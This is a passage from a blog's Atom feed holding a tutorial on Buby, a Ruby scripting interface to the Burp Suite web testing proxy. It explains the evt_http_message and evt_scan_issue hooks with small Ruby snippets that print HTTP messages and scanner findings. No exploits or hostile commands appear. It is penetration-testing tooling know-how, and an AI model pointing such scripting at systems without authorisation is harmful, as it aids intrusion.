&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;Happy Hacking,&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;~cktricky&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-2064383758326562443?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/2064383758326562443/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2064383758326562443' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2064383758326562443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2064383758326562443'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/05/buby-script-basics-part-4.html' title='Buby Script Basics Part 4'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-iOoyejagB5c/Tc4C49Th4MI/AAAAAAAAATE/tAriQbGM5AQ/s72-c/include_exclude_scope_1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-5918442440155881869</id><published>2011-05-11T06:28:00.000-04:00</published><updated>2011-06-24T15:27:59.828-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>Buby Script Basics Part 3</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;In part 2 of this series we covered the "evt_proxy_message" method. In part 3 of this series we will cover the two methods shown below which have "checks" next to them.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;√ evt_http_message &amp;nbsp; &amp;nbsp; &lt;br /&gt;√ evt_scan_issue &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; doActiveScan &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; doPassiveScan &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; excludeFromScope &lt;br /&gt;&amp;nbsp;&amp;nbsp; includeInScope &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; isInScope&lt;br /&gt;&amp;nbsp;&amp;nbsp; issueAlert&lt;br /&gt;&amp;nbsp;&amp;nbsp; makeHttpRequest&lt;br /&gt;&amp;nbsp;&amp;nbsp; sendToIntruder&lt;br /&gt;&amp;nbsp;&amp;nbsp; sendToRepeater&lt;br /&gt;&amp;nbsp;&amp;nbsp; sendToSpider&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;/ol&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;So let's cover each individually with brief explanation and a code example.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;You can find sample scripts for each of these under the examples directory of the buby-script repo located &lt;/span&gt;&lt;a href="https://github.com/WebExploitationFramework/Buby-Scripts/tree/master/examples"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Here&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;EVT_HTTP_MESSAGE&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;---------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;The following code will allow you to obtain methods exposed by the message_info object (which is a class):&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-qG4Epu0HaBo/Tcfs_L3JKqI/AAAAAAAAASk/spWS3c5XYpY/s1600/evt_http_message_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;img border="0" height="100" src="http://3.bp.blogspot.com/-qG4Epu0HaBo/Tcfs_L3JKqI/AAAAAAAAASk/spWS3c5XYpY/s400/evt_http_message_1.png" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;The 3 separate objects that make up the param are:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;tool_name =&amp;gt; This is a string value, it is the name of the tool for which the message originated. Examples include proxy, scanner and repeater.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;is_request =&amp;gt; Boolean value (true/false), this returns true when it is a request and false when a response.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;message_info =&amp;gt; This is a class. It is&amp;nbsp;an instance of the IHttpRequestResponse Java class. So there are methods such as get_comment, set_comment and getUrl exposed.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;An example of using evt_http_message can be seen here (code):&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-cMZd8eoHv7Q/Tcfum3vsJEI/AAAAAAAAASo/Xr8ZTO54WSI/s1600/evt_http_message_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;img border="0" height="147" src="http://3.bp.blogspot.com/-cMZd8eoHv7Q/Tcfum3vsJEI/AAAAAAAAASo/Xr8ZTO54WSI/s400/evt_http_message_2.png" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;....and the result&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-PJjmOfTHOJE/TcfutoTToQI/AAAAAAAAASs/dNeCV6fwSNg/s1600/evt_http_message_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;img border="0" height="260" src="http://1.bp.blogspot.com/-PJjmOfTHOJE/TcfutoTToQI/AAAAAAAAASs/dNeCV6fwSNg/s400/evt_http_message_3.png" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;w00t!&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;So what does the code actually do?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Lines 1 and 2 -&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;Define the method and separate param into 3 separate objects.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Lines 3-5&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Ln 3 If the tool the message originated from was the spider and this is NOT a request proceed to Ln 4.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Ln4 If the response status code is 200 (OK), then move to Ln 5.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Ln 5 Puts "Yo, we received a 200 FTW!" to the console.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Lines 6-9 &lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Are closing statements/method and passing the param back up to the superclass method.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;You can find another example using this method in the zlib_inflate.rb script.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;EVT_SCAN_ISSUE&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;---------------------------&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Myriad, Helvetica, Arial, Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Times;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;The following code will allow you obtain methods exposed by the issue object (which is a class):&lt;/span&gt; &lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-0h98xKTN8Qk/Tcm7cZh5BSI/AAAAAAAAASw/A4uoYdIjcpE/s1600/evt_scan_issue_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="70" src="http://4.bp.blogspot.com/-0h98xKTN8Qk/Tcm7cZh5BSI/AAAAAAAAASw/A4uoYdIjcpE/s320/evt_scan_issue_1.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Only one object is exposed, it is a class, it is called issue. Some of the methods exposed by this class are&lt;br /&gt;&lt;br /&gt;-issue_name&lt;br /&gt;-severity&lt;br /&gt;-confidence&lt;br /&gt;-protocol&lt;br /&gt;-host&lt;br /&gt;-url&lt;br /&gt;-port&lt;br /&gt;-issue_detail&lt;br /&gt;-issue_background &lt;br /&gt;-remediation_detail &amp;nbsp; &lt;br /&gt;-remediation_background&lt;br /&gt;&lt;br /&gt;The following code:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Qbx7Ih2mslE/Tcny_dUQbqI/AAAAAAAAAS0/PqBlxK9YAxQ/s1600/evt_scan_issue_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/-Qbx7Ih2mslE/Tcny_dUQbqI/AAAAAAAAAS0/PqBlxK9YAxQ/s320/evt_scan_issue_3.png" width="248" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Gb0hChBp-Ok/TcnzF0uuVDI/AAAAAAAAAS4/yVct8Ipv_Wk/s1600/evt_scan_issue_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-Gb0hChBp-Ok/TcnzF0uuVDI/AAAAAAAAAS4/yVct8Ipv_Wk/s320/evt_scan_issue_4.png" width="306" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;...produces:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-uYgVK5N3SZ0/Tcn0KXyl4jI/AAAAAAAAATA/eiLY6ZbtNGI/s1600/evt_scan_issue_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-uYgVK5N3SZ0/Tcn0KXyl4jI/AAAAAAAAATA/eiLY6ZbtNGI/s1600/evt_scan_issue_2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Lets step through the code&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;1. &amp;nbsp;def prnt(*objs)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;2. &amp;nbsp; &amp;nbsp;strn, meth = objs &amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;3. &amp;nbsp; &amp;nbsp;str = ''&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;4. &amp;nbsp; &amp;nbsp;str &amp;lt;&amp;lt; "\n#{strn}\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;5. &amp;nbsp; &amp;nbsp;str &amp;lt;&amp;lt; '=' * strn.length + "\n\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;6. &amp;nbsp; &amp;nbsp;str &amp;lt;&amp;lt; "#{meth}\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;7. &amp;nbsp; &amp;nbsp;puts str&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;8. &amp;nbsp;end&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Lines 1-2 &lt;/b&gt;- Defines the method (prnt) and separates objs into two objects (strn, meth)&lt;b&gt;.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Lines 3-4 - &lt;/b&gt;This defines a string instance variable (str), and then proceeds to put the strn object onto it.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Lines 5-7&lt;/b&gt; - The length of strn gets multiplied by '=' so that we can create the following visual....&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;something&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;=========&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;...then we push meth onto the string and then we "puts" or print it to the console.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Lets step through the second method "hm_prnt".&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;1. &amp;nbsp; def hm_prnt(*objs)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;2. &amp;nbsp; &amp;nbsp; strn, meth = objs&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;3. &amp;nbsp; &amp;nbsp; str = ''&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;4. &amp;nbsp; &amp;nbsp; str &amp;lt;&amp;lt; "\n#{strn}\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;5. &amp;nbsp; &amp;nbsp; str &amp;lt;&amp;lt; '=' * strn.length + "\n\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;6. &amp;nbsp; &amp;nbsp; meth.each do |itm|&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;7. &amp;nbsp; &amp;nbsp; &amp;nbsp; str &amp;lt;&amp;lt; "#{itm.request_headers}\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;8. &amp;nbsp; &amp;nbsp; &amp;nbsp; str &amp;lt;&amp;lt; "#{itm.request_body}\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;9. &amp;nbsp; &amp;nbsp; &amp;nbsp; str &amp;lt;&amp;lt; "#{itm.response_headers}\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;10. &amp;nbsp; &amp;nbsp; str &amp;lt;&amp;lt; "#{itm.response_body}\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;11. &amp;nbsp; &amp;nbsp;end&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;12. &amp;nbsp; &amp;nbsp;puts str&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;13 . end&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;Lines 1-2&amp;nbsp;&lt;/b&gt;- Defines the method (prnt) and separates objs into two objects (strn, meth)&lt;b&gt;.&lt;/b&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;Lines 3-4 -&amp;nbsp;&lt;/b&gt;This defines a string instance variable (str), and then proceeds to put the strn object onto it.&amp;nbsp;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;Lines 6-10&lt;/b&gt; - We take the meth object which is an Array, we iterate thru each item in the array, convert it to a string while calling the four methods it exposes (request_headers, request_body, response.headers, and response_body). Now these methods all belong to http_messages and itm really represents the http_messages class. So when we are iterating thru this array we are really iterating thru an array containing a bunch of http_messages classes. Hopefully that makes sense.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;F&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;inally, we need to discuss the $burp.evt_scan_issue method.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;1. &amp;nbsp;def $burp.evt_scan_issue(issue)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;2. &amp;nbsp; &amp;nbsp;meth_arry = &amp;nbsp;[&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;3. &amp;nbsp; &amp;nbsp; &amp;nbsp;'issue_name',&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;4. &amp;nbsp; &amp;nbsp; &amp;nbsp;'severity',&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;5. &amp;nbsp; &amp;nbsp; &amp;nbsp;'confidence',&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;6. &amp;nbsp; &amp;nbsp; &amp;nbsp;'protocol',&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;7. &amp;nbsp; &amp;nbsp; &amp;nbsp;'host',&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;8. &amp;nbsp; &amp;nbsp; &amp;nbsp;'url',&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;9. &amp;nbsp; &amp;nbsp; &amp;nbsp;'port',&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;10. &amp;nbsp; &amp;nbsp; 'issue_detail',&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;11. &amp;nbsp; &amp;nbsp; 'issue_background', &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;12. &amp;nbsp; &amp;nbsp; 'remediation_detail', &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;13. &amp;nbsp; &amp;nbsp; 'remediation_background', &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span 